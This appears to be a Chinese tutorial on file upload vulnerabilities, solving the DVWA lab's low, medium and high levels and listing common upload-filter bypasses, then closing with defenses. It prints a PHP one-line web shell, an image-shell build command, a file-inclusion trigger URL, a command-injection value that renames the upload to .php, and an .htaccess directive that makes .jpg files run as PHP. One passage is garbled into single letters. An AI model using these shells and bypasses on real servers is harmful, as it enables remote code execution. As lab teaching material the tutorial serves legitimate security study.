文章目录
任意文件上传漏洞简介
由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。
客户端检测一般在源文件里有专门检测文件上传的javascript代码,最常见的就是检测扩展名是否合法。
这种检测很容易被绕过,但本质还是在客户端检测,不能相信客户端的检测,因为这是可控的,真正有效的检测要放在服务端。
提示:以下是本篇文章正文内容,下面案例可供参考
一、dvwa文件上传漏洞实操
1.难度–low
相关代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
对以上代码进行分析可得:
对上传文件没有做任何过滤与限制。将上传的文件直接在另一个目录保存。
basename()函数:返回带有文件扩展名的文件名部分。
例如:/xx/test.php,返回test.php
绕过这种检测很简单,利用代理工具即可。
- 解析攻击
主要是各web应用程序解析漏洞,直接解析或配合解析。
举例:Apache解析漏洞Test.php.XXX。
建议在单独配置的环境下进行测试,集成环境也行,不过可能会受影响,我测试的在集成环境下解析不了单独环境下就可以,可能是我配置问题。
- Nginx 解析漏洞
任意文件名/任意文件名.php | 任意文件名%00.php。
比如原本文件名是test.jpg,可以添加为test.jpg/x.php。
- 利用
直接上传一句话木马。
<?php @eval($_REQUEST['admin']); ?>
文件上传成功
2.难度–Medium
相关代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image? 判断是否为jpeg或png类型的图片
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
对以上代码进行分析
[$_FILES’userfile’][‘name’]
客户端机器文件的原名称。
[$_FILES’userfile’][‘type’]
文件的 MIME 类型
[$_FILES’userfile’][‘size’]
已上传文件的大小,单位为字节。
[$_FILES’userfile’][‘tmp_name’]
文件被上传后在服务端储存的临时文件名。
[$_FILES’userfile’][‘error’]
和该文件上传相关的错误代码。此项目是在PHP 4.2.0 版本中增加的。
UPLOAD_ERR_OK
其值为 0,没有错误发生,文件上传成功。
UPLOAD_ERR_INI_SIZE
其值为 1,上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
UPLOAD_ERR_FORM_SIZE
其值为 2,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
UPLOAD_ERR_PARTIAL
其值为 3,文件只有部分被上传。
UPLOAD_ERR_NO_FILE
其值为 4,没有文件被上传。
UPLOAD_ERR_NO_TMP_DIR
其值为 6,找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。
UPLOAD_ERR_CANT_WRITE
其值为 7,文件写入失败。PHP 5.1.0 引进。
这里对上传的文件类型进行了判断,如果不是jpeg跟png类型的文件则无法上传。
绕过方法
服务端这里判断文件的类型是通过
F
I
L
E
S
[
"
f
i
l
e
"
]
[
"
t
y
p
e
"
]
来判断的。而
_FILES["file"]["type"]来判断的。 而
FILES["file"]["type"]来判断的。而_FILES[“file”][“type”]是客户端请求数据包中的Content-Type的值。所以可以通过抓包工具修改Content-Type来绕过服务端检测
选择上传一个jpeg的马,上传过程中通过抓包来修改文件即可绕过
对该文件所在目录进行访问:
3.难度–high
相关文件代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);//获取文件的后缀名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
对以上代码进行分析:
这里获取了文件的后缀名,然后判断文件后缀名是否为jpg,jpeg,png,然后还使用getimagesize函数来获取图片信息。
函数**getimagesize()**可以获取图片的宽、高信息,如果上传的不是图片,那么该函数就获取不到信息,导致上传失败。
绕过方法
制作图片马,利用文件执行漏洞触发
准备1.jpg图片和1.php文件
copy 1.php/b+1.jpg/a 1.jpeg
将生成的图片马上传,提示成功后利用文件执行漏洞
http://xxx.xxx.xx.x/vulnerabilities/fi/?page=file://C:/phpstudy/WWW/DVWA/hackable/uploads/1.jpeg
也可通过文件穿越漏洞解决,文件上传成功后,将难度等级改为中等
然后在文件穿越输入:
10.1.1.174 |rename ..\..\hackable\uploads\1.jpeg 1.php
文件名修改完毕后直连即可。
图片马被成功解析后,再使用菜刀等工具链接即可。
二、文件上传漏洞
1.文件上传漏洞原理
网站Web应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个Web可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护。
2.常见的文件上传
1.客服端绕过
1)客户端校验:
一般都是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
(2)绕过方法:
1.通过火狐插件 NOscript 插件或者禁用 IE 中 JS 脚本;
2.通过 firbug 插件元素审核修改代码(如删除 οnsubmit=”return checkFile()” 事件);
3.通过 firbug 元素审核 javascirpt 脚本中添加上传文件类型;
4.通过利用 burp 抓包改包,先上传一个 gif 类型的木马,然后通过 burp 将其改为asp/php/jsp 后缀名即可 注意:这里修改文件名字后,请求头中的 Content-Length 的值也要改。
2.服务端绕过
后缀名:黑名单、白名单
文件类型:MIME信息(数据包里Content-Type:image/gif)
文件头:内容头信息
Gif图片(GIF89a)注意,做图片马的时候要想好怎么让服务器解析
copy 1.php/b+1.jpg/a 1.png
jsp脚本(JFIF)
黑白名单扩展名过滤:
黑名单:找到Web开发人员忽略的扩展名,如: asa 和 cer 之类的;
可能存在大小写绕过漏洞,比如:1.phP 之类;2、大小写绕过
.htaccess文件(配置文件,将文件名为shana的文件当作php文件执行)
在win系统下,如果文件名是以".“或者空格结尾,系统会自动去除”.“与空格,可以绕过黑名单验证,如: 上传”asp." or "asp "的扩展名程序;
白名单:比黑名单拥有更好的防御机制,但不能完全防御,存在Web容器文件解析漏洞,是可以顺利通过验证。
绕过方式:1.%00和0x00截断。%00是被服务器解码为0x00发挥了截断作用
2、0x0a截断:原理同上
3、MIME绕过。burp抓包,修改Content-type值为合法的image/jpeg,image/gif等即可绕过
MIME 验证绕过
MIME的作用:web客户端使用 MIME 来说明希望接收到的数据种类,web服务器使用 MIME 来说明发送数据的种类,它是服务器用来判断浏览器传递文件格式的重要标记项。
配置Burp Suite代理进行抓包,更改Content-Type修改为image/gif,或者其他允许的类型,然后在对应目录生成shell.jpg
文件头校验绕过
有些通过正则匹配,判断文件头内容是否符合要求,文件头过滤主要是通过验证图片的文件头的方式来判断是不是图片文件。
比如:GIF图片的文件头就是GIF89a。构造:GIF89a<?php phpinfo(); ?>,即可绕过。
目录验证的绕过
在文件上传时,有时开发人员运行如果目录存在,就在目录写入文件,不存在则先建立目录,再写入文件。
如果Web容器为 IIS 6.0,在提交的表单里存在文件上传目录,将其值修改为不存在的目录,如:1.asp,并上传一句话图片木马文件1.jpg。程序在接受文件后,对目录判断,因为服务器不存在 1.asp 目录,则会创建,此目录下的1.jpg会当作asp解析。
htaccess上传
条件:
(1). apache服务器
(2). 能够上传.htaccess文件,一般为黑名单限制。
(3). AllowOverride All,默认配置为关闭None。
(4). LoadModule rewrite_module modules/mod_rewrite.so #模块为开启状态
(5). 上传目录具有可执行权限。
.htaccess文件,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
.htaccess文件内容:AddType application/x-httpd-php .jpg,上传后,在上传 .jpg ,apache 服务器会将所有.jpg为后缀的文件作为 php 文件解析。
总结
防范文件上传漏洞,虽然说这种洞日常中几乎没有
1.对文件格式限制,只允许某些格式上传
2.对文件格式进行校验,前端跟服务器都要进行校验(前端校验扩展名,服务器校验扩展名、Content_Type等)
3.将上传目录防止到项目工程目录之外,当做静态资源文件路径,并且对文件的权限进行设定,禁止文件下的执行权限。